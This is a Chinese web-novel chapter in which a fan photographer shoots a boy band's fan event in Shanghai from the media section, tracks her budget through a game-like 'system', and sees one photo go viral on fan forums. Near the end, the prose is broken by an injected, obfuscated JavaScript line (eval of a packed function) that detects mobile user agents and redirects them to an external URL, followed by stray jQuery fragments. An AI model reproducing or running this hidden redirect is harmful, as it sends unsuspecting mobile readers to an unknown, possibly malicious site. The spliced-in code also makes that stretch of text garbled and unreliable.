三月十一号，上海。
青旅六人间，上铺。昨晚的特价机票，红眼，凌晨一点落地。
闹钟十点，起来洗脸，楼下便利店买了个饭团，六块。
记账：饭团6。上海的东西比广州贵一点，比首尔便宜。
中午去外滩走了走，没花钱，就是看看对岸的楼。江风很大，吹得人清醒。有个游客请她帮忙拍合影，她拍了三张，张张清楚，对方连声道谢。
她摆摆手走了，心里想的是：这要收钱的话，一张五块。
外滩人多，她举着手机拍了两张江景，拍完自己看了看，删了一张，水平线是歪的，职业病。
下午回青旅取了行李寄存，退了房。老板娘问她玩得怎么样，她说看演出，老板娘说现在的年轻人真舍得，门票钱都够住半个月了。
她笑笑，没接话。
心里默默算了算：门票0，机票800。还行，比住半个月便宜。
三点，梅赛德斯-奔驰文化中心。
地铁坐到中华艺术宫，跟着人流走。人流里全是同款：双肩包，手幅，皇冠灯，包上别着的小卡。
正门排着队，队绕了半个广场。去年广州首站她也排过这种队，三个小时，晒脱一层皮。
队里有个小姑娘举着牌子，写着"求一张，学生党，原价"。旁边守着个黄牛，来回踱步，嘴里念叨"要票吗，要票吗"。
小姑娘不理他，黄牛念了三遍，也没趣地走开了。
今年，她走另一边。
媒体报到口，一张折叠桌，两个工作人员。
"姓名。"
"江梨初。"
对方在名单上划了一下，抬头："合作媒体？"
"嗯。"
工牌挂上，手腕上贴了纸环，全程四十秒。
她差点把那张白卡递出去，手都伸进包里了，摸到记账本才想起来——人家要的通行证在另一个口袋。
白卡留着，递出去，也没人认识。
媒体区在内场侧面，一排折椅。来的人脖子上都挂着牌，长枪短炮架在腿上。
"哟。"
有人拍她肩膀，周睿，XX网的工牌在胸前晃着，嘴里嚼口香糖。
"周老师。"
"叫哥。"他把口香糖吐进纸巾，"规矩知道吗？"
"不知道。"
"媒体席，不能站，不能喊，不能举应援。"他掰指头，"最要紧的一条——别当墙头。"
"什么是墙头？"
"两边素材都发，官方也发，站子也发，吃相难看。"他看她一眼，"你不当墙头，你就是个……"
他想了半天。
"你就是个来干活的。"
"我本来就是来干活的。"
"那你比他们都强。"周睿指了一圈，"这帮人，一半来追星，一半来交差。来干活的，没几个。"
四点半，金陵旧梦的微信进来。
"我进门了！！！"
"我在里面。"
"我在哪坐啊，我居然是坐的？！"
后面跟着九个感叹号。
过了一会儿，又来一条："我把相机留家里了。"
"？？？？"
"没卖，留家里了，今天没带。"她说。
"你一个站姐，看演出不带相机？"
金陵旧梦回，"我要是带了相机，跟上班有什么区别。"
江梨初盯着这句话看了很久。
五点五十，她在折椅上签到。
【第266天。签到成功。】
【检测到特殊地点：梅赛德斯-奔驰文化中心。奖励×2：签到金+600。】
账本翻到新一页：5,802。
七点半，灯灭了。
尖叫掀了顶。
她手抖，真抖。去年广州首站也是这么抖的，那时候手里是手机，糊了一整晚。
快门按下去的那一瞬间，手不抖了。
不是她按的，或者说，是她按的——手腕、手肘、呼吸，全套动作自己流出去的。取景框里那个人跳起来的时候，她的镜头已经在他落地的位置等着了。
她说不清这是系统的手，还是这一年七座城练出来的手。
不敢细想，细想就没法干活了。
旁边一个扛着摄像机的记者扭头看她："第一次来媒体区？"
"看得出来？"
"看得出来。"他说，"老鸟开机之前先看逃生通道在哪，你刚才进来先找的电源插座。"
她愣了一下，还真是。
前半场是迷你演唱会，歌单不新，都是MADE里熟的。可媒体区近，近到70-200拉不到底，画面满得装不下。
去年七站，她隔着他五十米、八十米，今天二十米。
第一首是快歌，她连拍了四十多张，第二首换了存储卡，手稳得不像自己的。去年这个时候，她一晚上的出片率不到三成，今天回看屏幕，张张能用的感觉——不对，也有废的，但废的都是她贪多。
贪多，这个词是王叔说的。他说拍现场的都贪多，看见什么想要什么，最后什么都没拍到，要舍得。
今天她开始有点舍得了。
唱到第四首，看台的皇冠灯全亮了。她从取景器里抬了一下头，整个内场一片星海。金陵旧梦的荧光棒在哪个位置，她找不到，但她知道在。
唱完六首，舞台降下去。再升上来，换了布景。
游戏环节。
五个人分两队，输的接受惩罚，惩罚是学中文。其实赢的那队也学了——他是主动举手的。
工作人员教他一句上海话。他练了三遍，拿着话筒，一字一顿：
"侬——好。"
全场炸了。
他好像对自己的发音很满意，扭头跟队友显摆，队友给了他一个白眼。
胜利在旁边笑，用中文说"我说得比他好"，字正腔圆。他不服，抢过话筒又来了一遍，这次快了点：
"侬好侬好。"
她举着相机笑，取景框里，他也在笑。
两只手都举着相机，这个位置，是去年长沙场那个她不敢想的。
换装环节，五个人换了行头出场，谁最浮夸观众喊谁。T.O.P一出来，全场喊声最大，他自己绷不住，先笑了。
游戏还有一局你画我猜，他画的东西全场没一个猜得中，最后他急了，指着画布喊了一句韩语，翻译在旁边憋笑憋得话筒都在抖。答案揭晓，是个卷心菜。
她拍下了那块画布，构图一般，但留着。
后半场抽粉丝愿望，第一个愿望是让五个人一起比心。第二个愿望是个女孩，说今天生日，想听一句中文的生日快乐。
他说了，字正腔圆，听得出来练过。重庆那场她说过的"练了两天"——看来不是那两天，是每到一城都提前学两句。
第三个愿望，是个坐在中排的女孩。抽到话筒，声音抖得不成句，翻了半天手机才说完整：想听欧巴说一句土味情话，什么都行。
翻译把话翻过去，卡了壳。这句不好翻，翻译斟酌了三秒，凑近他说了一句什么。
他听完，歪了下头。想了想，又想了想。
台下的心跟着悬了三秒。
然后他拿起话筒，清了清嗓子，一字一顿，用的是中文：
"如果要分手——"
全场安静了半秒，没人知道下半句是什么，她听见自己的心跳。
"请和我交往吧。"
炸了。
真炸了，前排一片尖叫，有个女孩直接从椅子上出溜下去，被旁边俩人一人一边架住胳膊才没坐地上。声浪一层一层往台上拍，连摄像记者都从牙缝里挤出一个"卧——"，挤到一半想起规矩，硬生生咽回去，变成一声咳嗽。
她按的不是那句话。
是那半秒安静——话筒刚举到唇边，没开口，坏笑起了个头还没成形，追光在他眼底切出两个亮点，半张脸是暗的，半张脸是亮的。
快门响了。
后半句出来的时候她也在拍。回头看：前一张好，后一张废——不是糊，是他自己笑场了，整张脸都是晃的。
说完那句他还不过瘾，冲台下挑了下眉，翻译在旁边捂着话筒笑得直不起腰。
第四个愿望没抽到她。
她也没许。
倒数第二首歌。
灯光暗下来，只留一束追光。他站在光里，不唱，往台下看。
粉丝区一层一层地起浪，媒体区这边没声音——规矩。
他望向观众席。
她不知道他在找什么，也许什么都没找，就是随便看看。
镜头跟着他，他不动的这几秒，构图是死的，她把焦点从他肩上收到眼睛上。
收焦那一下，他转过来了。
不是转向这边。
是转向她。
隔着二十米、一支70-200、一块取景器——他看着镜头，或者镜头后面。
快门响了，手指比脑子快。那个叫"决定性瞬间感知"的被动技能，说明书她从来没读完过。
半秒，也许不到，他转回去了，追光灭了，前奏起来，全场又炸。
她保持按快门的姿势，僵了三秒。
回放。
那张照片清楚得吓人，眼睛，睫毛，追光切出来的半张脸。还有视线，视线是直的，从照片里出来，落在看照片的人身上。
拍了七座城，从来没有一张这么近，这么直。
这张不能发。
她很确定，比前六次都确定。
散场，灯亮，媒体区按规矩先撤，她的手机在响，金陵旧梦。
接起来，那边先说话。声音是哑的。
"梨花儿。"
"嗯。"
"我全程坐着的，从第一首歌到最后一首，没举相机，举的荧光棒。"
"嗯。"
"妆都哭花了，六十八的荧光棒差点捏断。"
"……值吗？"
"多大事。"金陵旧梦说。声音还是哑的。"就是……"
她停了很久。
"就是原来坐在这儿看，是这种感觉啊。"
顿了顿，又补一句："还有那句！那句你听到了吧？！'如果要分手请和我交往吧'！我旁边一个妹子当场哭了，哭得我以为她真分手了！"
"听到了。"
"你倒是很冷静啊？"
"我在干活。"
挂了电话她才承认：不冷静。那句出来的半秒里，她的呼吸停了，只是快门没停。
江梨初站在媒体通道口，散场的人流从身边涌过去，她没动。
"下一站南京。"金陵旧梦说，"我家门口，我自己抢票。抢不到，我认。"
"好。"
周睿在出口等她，嚼着新的口香糖。
"图今晚给我。"
"嗯。"
"按老规矩，四百，月底。"
"周老师。"
"叫哥。"
夜里十一点，青旅。她盘腿坐在上铺修图，帘子拉了半边。
楼下的公共区还有人在聊天，声音隔着地板传上来，一阵一阵的。有人在喊"他刚才看我们这边了"，另一个说"他看我这边"，吵了半天，谁也说服不了谁。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17936229|213721||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她听着，没参与。
选了二十张发给周睿，站子发了一组九宫格，"分手"那张放在正中间。
十分钟后，林叙的微信："出息了。"配了张后台截图，粉丝数字往上蹿。
她回了个笑脸。
半小时后，她放下修图的电脑，拿起手机刷了刷——愣住了。
那张图出圈了。
转发两万多，还在涨。首页一水儿都是它，配文五花八门："这句台词我先磕为敬""建议申遗""说这句话的人判几年"。有营销号搬运，裁掉了水印。有个情感博主拿它当封面写了三千字，标题叫《会说话的男人到底多可怕》。
她看着那个标题，寻思这跟会说话有什么关系，那明明是提前学好的。
周睿的微信进来："'分手'那张，单独授权，加钱。"
"加多少？"
"六百。"
她心算了一下：加上月底那四百，正好一千。
"周老师。"
"叫哥。"
论坛上已经开帖了，开了两个。
【讨论】梨花带雨上海场返图，媒体席机位
1L【不吃香菜】：媒体席？？她怎么进的媒体席？？
2L【追星不花钱】：楼上问出了我的心声，媒体席要钱吗？不要钱的话我也想当外部合作者
3L【一颗草莓糖】：图我全存了，第三张他笑得！！
4L【参数党老王】：内场侧机位，目测距离二十米上下。6D加70-200，ISO压得住，肤色还原准。今天的返图里，这组排第一
5L【不吃香菜】：老王你连距离都算得出来？
6L【参数党老王】：拍得多了，看一眼就知道
7L【追星不花钱】：所以媒体席到底要不要钱
8L【一颗草莓糖】：要心跳
9L【追星不花钱】：楼上说什么胡话
【爆】"如果要分手请和我交往吧"生图出了，转两万多了
1L【不吃香菜】：生图？？这真没修？？
2L【参数党老王】：直出，原片就是这个素质。你看高光的过渡，还有暗部的睫毛，修图修不出这个质感，只能拍出来
3L【追星不花钱】：重点是这句话！！我在现场！前排滑下去那个妹子是我扶的！
4L【一颗草莓糖】：楼上今日战功+1
5L【不吃香菜】：所以梨花带雨现在是站姐转正媒体了？
6L【一颗草莓糖】：什么转正，人家一直很专业
7L【参数党老王】：说个正事，这图今天上了三个营销号，两个没署名
8L【追星不花钱】：搬运容易，署名难
9L【不吃香菜】：楼上你搁这儿对对子呢
10L【追星不花钱】：对上了就行
她看到10L，笑出声，上铺帘子外头有人敲了敲床板："笑什么笑，十二点了！"
她压着笑，回了个"对不起"，退出去。
出圈是好事，图能传，名能署，钱能挣。就是那张出圈的图，她自己心里排第二。
排第一的那张，在加密相册里，谁也看不见。
第二天一早，青旅上铺，签到。
【第267天。签到成功。】
下面还有一行。
【昨日20:41检测到心动峰值，持续不足一秒，已记录。】
她盯着"不足一秒"看了很久。
不足一秒，就是快门那一下。
她忽然想到一件事：昨晚全场最炸的是那句话。"如果要分手，请和我交往吧"，一万多人一起炸，她自己的呼吸都停了半秒。
系统要是记炸场，该记那一句。
可它记的是20:41，倒数第二首歌，追光，对视。
系统不记热闹，它记的是快门。
她的手指在屏幕上停了停，想打字问点什么，最后什么也没打。
关掉，收拾东西，去机场，红眼航班。
候机的时候，她把账结了。
上海行：机票800，住宿240，吃饭67，地铁8，杂项5。合计1,120。
正好1,120。一分不差。
账记了一年，第一次分毫不差地卡在预算上。她盯着这个数字，有点得意，又觉得没什么好得意的。
新添一栏：图费应收1,000。老规矩400，"分手"那张加600，月底到账。
她在那行后面写：深圳的票，有着落了。
签到金：5,802?1,120=4,682。
口袋里还有那680。留着，深圳。
登机前，她把那张照片传进了那个加密相册。眼睛，睫毛，直的视线。
"不能发的"，第七张。
飞机起飞，上海在云底下。
她在靠窗的位置靠着，想睡，没睡着。
想起去年五月的广州。第一次进场，内场最后一排，手机举了一整晚，存了两百多张糊图。第二天全部导出来，能看的挑不出五张。
那时候她不知道什么叫媒体席，不知道什么叫70-200，也不知道有个系统会陪她记账。她只知道想再看一场，再近一点。
一年。七座城，两个国家，八场。
脑子里翻来覆去就一句话，是金陵旧梦哑着嗓子说的。
原来坐在这儿看，是这种感觉啊。
她想，那站在光里往外看的那个人，看见的又是什么感觉。
想到这儿她停了。
不许想了。
她把帽子往下一压，睡了。红眼航班，机舱灯一盏一盏灭下去。